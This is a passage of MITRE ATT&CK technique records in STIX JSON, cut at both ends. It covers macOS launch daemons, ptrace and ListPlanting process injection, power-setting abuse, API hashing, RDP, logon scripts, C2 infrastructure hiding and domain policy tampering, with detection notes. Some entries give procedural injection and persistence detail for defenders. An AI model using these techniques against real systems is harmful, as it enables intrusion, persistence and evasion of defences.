Daemons"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf","description":"Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.","source_name":"OSX Malware Detection"},{"url":"https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf","description":"Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.","source_name":"WireLurker"}],"modified":"2020-03-19T15:08:50.043Z","name":"Launch Daemon","description":"Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_effective_permissions":["root"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f","type":"attack-pattern","created":"2020-01-14T01:33:19.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1055.008","url":"https://attack.mitre.org/techniques/T1055/008"},{"source_name":"PTRACE man","url":"http://man7.org/linux/man-pages/man2/ptrace.2.html","description":"Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."},{"source_name":"Medium Ptrace JUL 2018","url":"https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be","description":"Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020."},{"source_name":"BH Linux Inject","url":"https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf","description":"Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020."},{"description":"Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.","source_name":"ArtOfMemoryForensics"},{"url":"https://www.gnu.org/software/acct/","description":"GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.","source_name":"GNU Acct"},{"url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing","description":"Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.","source_name":"RHEL auditd"},{"url":"http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html","description":"stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.","source_name":"Chokepoint preload rootkits"}],"modified":"2021-10-18T12:26:31.766Z","name":"Ptrace System Calls","description":"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: OS API Execution","Process: Process Access","Process: Process Modification"],"x_mitre_defense_bypassed":["Anti-virus","Application control"]},{"modified":"2024-10-16T20:11:40.334Z","name":"Power Settings","description":"Adversaries may impair a system's ability to hibernate, reboot, or shut down in order to extend access to infected machines. When a computer enters a dormant state, some or all software and hardware may cease to operate which can disrupt malicious activity.(Citation: Sleep, shut down, hibernate)\n\nAdversaries may abuse system utilities and configuration settings to maintain access by preventing machines from entering a state, such as standby, that can terminate malicious activity.(Citation: Microsoft: Powercfg command-line options)(Citation: systemdsleep Linux)\n\nFor example, `powercfg` controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.(Citation: Two New Monero Malware Attacks Target Windows and Android Users) Adversaries may also extend system lock screen timeout settings.(Citation: BATLOADER: The Evasive Downloader Malware) Other relevant settings, such as disk and hibernate timeout, can be similarly abused to keep the infected machine running even if no user is active.(Citation: CoinLoader: A Sophisticated Malware Loader Campaign)\n\nAware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Menachem Goldstein","Juan Tapiador"],"x_mitre_deprecated":false,"x_mitre_detection":"Command-line invocation of tools capable of modifying services may be unusual and can be monitored for and alerted on, depending on how systems are typically used in a particular environment. \n","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Linux","macOS","Network"],"x_mitre_version":"1.0","x_mitre_data_sources":["File: File Modification","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--ea071aa0-8f17-416f-ab0d-2bab7e79003d","created":"2023-06-05T15:52:52.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1653","external_id":"T1653"},{"source_name":"Sleep, shut down, hibernate","description":"AVG. (n.d.). Should You Shut Down, Sleep or Hibernate Your PC or Mac Laptop?. Retrieved June 8, 2023.","url":"https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop"},{"source_name":"CoinLoader: A Sophisticated Malware Loader Campaign","description":"Avira. (2019, November 28). CoinLoader: A Sophisticated Malware Loader Campaign. Retrieved June 5, 2023.","url":"https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign"},{"source_name":"BATLOADER: The Evasive Downloader Malware","description":"Bethany Hardin, Lavine Oluoch, Tatiana Vollbrecht. (2022, November 14). BATLOADER: The Evasive Downloader Malware. Retrieved June 5, 2023.","url":"https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html"},{"source_name":"Two New Monero Malware Attacks Target Windows and Android Users","description":"Douglas Bonderud. (2018, September 17). Two New Monero Malware Attacks Target Windows and Android Users. Retrieved June 5, 2023.","url":"https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/"},{"source_name":"Condi-Botnet-binaries","description":"Joie Salvio and Roy Tay. (2023, June 20). Condi DDoS Botnet Spreads via TP-Link's CVE-2023-1389. Retrieved September 5, 2023.","url":"https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389"},{"source_name":"systemdsleep Linux","description":"Man7. (n.d.). systemd-sleep.conf(5) — Linux manual page. Retrieved June 7, 2023.","url":"https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html"},{"source_name":"Microsoft: Powercfg command-line options","description":"Microsoft. (2021, December 15). Powercfg command-line options. Retrieved June 5, 2023.","url":"https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--ea4c2f9c-9df1-477c-8c42-6da1118f2ac4","created":"2022-08-22T20:42:08.498Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1027.007","url":"https://attack.mitre.org/techniques/T1027/007"},{"source_name":"Huntress API Hash","url":"https://www.huntress.com/blog/hackers-no-hashing-randomizing-api-hashes-to-evade-cobalt-strike-shellcode-detection","description":"Brennan, M. (2022, February 16). Hackers No Hashing: Randomizing API Hashes to Evade Cobalt Strike Shellcode Detection. Retrieved August 22, 2022."},{"source_name":"BlackHat API Packers","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Choi-API-Deobfuscator-Resolving-Obfuscated-API-Functions-In-Modern-Packers.pdf","description":"Choi, S. (2015, August 6). Obfuscated API Functions in Modern Packers. Retrieved August 22, 2022."},{"source_name":"Drakonia HInvoke","url":"https://dr4k0nia.github.io/dotnet/coding/2022/08/10/HInvoke-and-avoiding-PInvoke.html?s=03","description":"drakonia. (2022, August 10). HInvoke and avoiding PInvoke. Retrieved August 22, 2022."},{"source_name":"IRED API Hashing","url":"https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-malware","description":"spotheplanet. (n.d.). Windows API Hashing in Malware. Retrieved August 22, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may obfuscate then dynamically resolve API functions called by their malware in order to conceal malicious functionalities and impair defensive analysis. Malware commonly uses various [Native API](https://attack.mitre.org/techniques/T1106) functions provided by the OS to perform various tasks such as those involving processes, files, and other system artifacts.\n\nAPI functions called by malware may leave static artifacts such as strings in payload files. Defensive analysts may also uncover which functions a binary file may execute via an import address table (IAT) or other structures that help dynamically link calling code to the shared modules that provide functions.(Citation: Huntress API Hash)(Citation: IRED API Hashing)\n\nTo avoid static or other defensive analysis, adversaries may use dynamic API resolution to conceal malware characteristics and functionalities. Similar to [Software Packing](https://attack.mitre.org/techniques/T1027/002), dynamic API resolution may change file signatures and obfuscate malicious API function calls until they are resolved and invoked during runtime.\n\nVarious methods may be used to obfuscate malware calls to API functions. For example, hashes of function names are commonly stored in malware in lieu of literal strings. Malware can use these hashes (or other identifiers) to manually reproduce the linking and loading process using functions such as `GetProcAddress()` and `LoadLibrary()`. These hashes/identifiers can also be further obfuscated using encryption or other string manipulation tricks (requiring various forms of [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) during execution).(Citation: BlackHat API Packers)(Citation: Drakonia HInvoke)(Citation: Huntress API Hash)","modified":"2022-08-23T18:32:46.899Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Dynamic API Resolution","x_mitre_detection":"","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Module: Module Load","File: File Metadata","Process: OS API Execution"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-08-07T14:23:30.265Z","name":"Remote Desktop Protocol","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.\n\nRemote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services) \n\nAdversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1546/008) or [Terminal Services DLL](https://attack.mitre.org/techniques/T1505/005) for Persistence.(Citation: Alperovitch Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Matthew Demaske, Adaptforward"],"x_mitre_deprecated":false,"x_mitre_detection":"Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Logon Session: Logon Session Creation","Network Traffic: Network Connection Creation","Process: Process Creation","Logon Session: Logon Session Metadata"],"x_mitre_system_requirements":["RDP service enabled, account in the Remote Desktop Users group"],"type":"attack-pattern","id":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","created":"2020-02-11T18:23:26.059Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/001","external_id":"T1021.001"},{"source_name":"Alperovitch Malware","description":"Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014.","url":"http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/"},{"source_name":"TechNet Remote Desktop Services","description":"Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.","url":"https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3","type":"attack-pattern","created":"2020-01-10T03:43:37.211Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1037.001","url":"https://attack.mitre.org/techniques/T1037/001"},{"url":"https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx","description":"Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.","source_name":"TechNet Logon Scripts"},{"source_name":"Hexacorn Logon Scripts","url":"http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/","description":"Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part 18. Retrieved November 15, 2019."}],"modified":"2020-03-24T23:45:03.153Z","name":"Logon Script (Windows)","description":"Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\Environment\\UserInitMprLogonScript.\n\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Windows Registry: Windows Registry Key Creation"]},{"modified":"2024-08-14T17:34:33.948Z","name":"ListPlanting","description":"Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process.(Citation: Hexacorn Listplanting) Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items.(Citation: Microsoft List View Controls) Information about an application's list-view settings are stored within the process' memory in a SysListView32 control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items.(Citation: Modexp Windows Process Injection) Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the SysListView32 child of the victim process window (via Windows API calls such as FindWindow and/or EnumWindows) or other [Process Injection](https://attack.mitre.org/techniques/T1055) methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored WriteProcessMemory function. For example, an adversary can use the PostMessage and/or SendMessage API functions to send LVM_SETITEMPOSITION and LVM_GETITEMPOSITION messages, effectively copying a payload 2 bytes at a time to the allocated memory.(Citation: ESET InvisiMole June 2020) \n\nFinally, the payload is triggered by sending the LVM_SORTITEMS message to the SysListView32 child of the process window, with the payload within the newly allocated buffer passed and executed as the ListView_SortItems callback.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["ESET"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as FindWindow, FindWindowEx, EnumWindows, EnumChildWindows, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be abused for this technique. \n\nConsider monitoring for excessive use of SendMessage and/or PostMessage API functions with LVM_SETITEMPOSITION and/or LVM_GETITEMPOSITION arguments.\n\nAnalyze process behavior to determine if a process is performing unusual actions, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Modification","Process: OS API Execution"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99","created":"2021-11-22T15:02:15.190Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1055/015","external_id":"T1055.015"},{"source_name":"Hexacorn Listplanting","description":"Hexacorn. (2019, April 25). Listplanting – yet another code injection trick. Retrieved August 14, 2024.","url":"https://www.hexacorn.com/blog/2019/04/25/listplanting-yet-another-code-injection-trick/"},{"source_name":"ESET InvisiMole June 2020","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf"},{"source_name":"Microsoft List View Controls","description":"Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.","url":"https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview"},{"source_name":"Modexp Windows Process Injection","description":"odzhan. (2019, April 25). Windows Process Injection: WordWarping, Hyphentension, AutoCourgette, Streamception, Oleum, ListPlanting, Treepoline. Retrieved November 15, 2021.","url":"https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-04-18T19:44:00.603Z","name":"Hide Infrastructure","description":"Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.\n\nC2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)\n\nAdversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite)\n\nHiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_contributors":["Matt Mullins","Eliav Livneh","Hen Porcilan","Diyar Saadi Ali"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["macOS","Windows","Linux","Network"],"x_mitre_version":"1.0","x_mitre_data_sources":["Internet Scan: Response Metadata","Network Traffic: Network Traffic Content","Domain Name: Domain Registration","Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--eb897572-8979-4242-a089-56f294f4c91d","created":"2024-02-13T17:00:00.175Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1665","external_id":"T1665"},{"source_name":"SocGholish-update","description":"Andrew Northern. (2022, November 22). SocGholish, a very real threat from a very fake update. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/part-1-socgholish-very-real-threat-very-fake-update"},{"source_name":"TA571","description":"Axel F, Selena Larson. (2023, October 30). TA571 Delivers IcedID Forked Loader. Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta571-delivers-icedid-forked-loader"},{"source_name":"mod_rewrite","description":"Bluescreenofjeff.com. (2015, April 12). Combatting Incident Responders with Apache mod_rewrite. Retrieved February 13, 2024.","url":"https://bluescreenofjeff.com/2016-04-12-combatting-incident-responders-with-apache-mod_rewrite/"},{"source_name":"Browser-updates","description":"Dusty Miller. (2023, October 17). Are You Sure Your Browser is Up to Date? The Current Landscape of Fake Browser Updates . Retrieved February 13, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/are-you-sure-your-browser-date-current-landscape-fake-browser-updates"},{"source_name":"StarBlizzard","description":"Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/"},{"source_name":"QR-cofense","description":"Nathaniel Raymond. (2023, August 16). Major Energy Company Targeted in Large QR Code Phishing Campaign. Retrieved February 13, 2024.","url":"https://cofense.com/blog/major-energy-company-targeted-in-large-qr-code-campaign/"},{"source_name":"Schema-abuse","description":"Nick Simonian. (2023, May 22). Don't @ Me: URL Obfuscation Through Schema Abuse. Retrieved February 13, 2024.","url":"https://www.mandiant.com/resources/blog/url-obfuscation-schema-abuse"},{"source_name":"Orange Residential Proxies","description":"Orange Cyberdefense. (2024, March 14). Unveiling the depths of residential proxies providers. Retrieved April 11, 2024.","url":"https://www.orangecyberdefense.com/global/blog/research/residential-proxies"},{"source_name":"Facad1ng","description":"Spyboy. (2023). Facad1ng. Retrieved February 13, 2024.","url":"https://github.com/spyboy-productions/Facad1ng"},{"source_name":"sysdig","description":"Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.","url":"https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:55:32.946Z","name":"Domain or Tenant Policy Modification","description":"Adversaries may modify the configuration settings of a domain or identity tenant to evade defenses and/or escalate privileges in centrally managed environments. Such services provide a centralized means of managing identity resources such as devices and accounts, and often include configuration settings that may apply between domains or tenants such as trust relationships, identity syncing, or identity federation.\n\nModifications to domain or tenant settings may include altering domain Group Policy Objects (GPOs) in Microsoft Active Directory (AD) or changing trust settings for domains, including federation trusts relationships between domains or tenants.\n\nWith sufficient permissions, adversaries can modify domain or tenant policy settings. Since configuration settings for these services apply to a large number of identity resources, there are a great number of potential attacks malicious outcomes that can stem from this abuse. Examples of such abuse include: \n\n* modifying GPOs to push a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053/005) to computers throughout the domain environment(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)\n* modifying domain trusts to include an adversary-controlled domain, allowing adversaries to forge access tokens that will subsequently be accepted by victim domain resources(Citation: Microsoft - Customer Guidance on Recent Nation-State Cyber Attacks)\n* changing configuration settings within the AD environment to implement a [Rogue Domain Controller](https://attack.mitre.org/techniques/T1207).\n* adding new, adversary-controlled federated identity providers to identity tenants, allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Obsidian Security"],"x_mitre_deprecated":false,"x_mitre_detection":"It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes Set federation settings on domain and Set domain authentication.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Windows","Identity Provider"],"x_mitre_version":"3.1","x_mitre_data_sources":["Active Directory: Active Directory Object Deletion","Active Directory: Active Directory Object Creation","Command: Command Execution","Active Directory: Active Directory Object Modification","Application Log: Application Log Content"],"x_mitre_defense_bypassed":["System access controls","File system access controls"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d","created":"2019-03-07T14:10:32.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1484","external_id":"T1484"},{"source_name":"CISA SolarWinds Cloud Detection","description":"CISA. (2021, January 8). 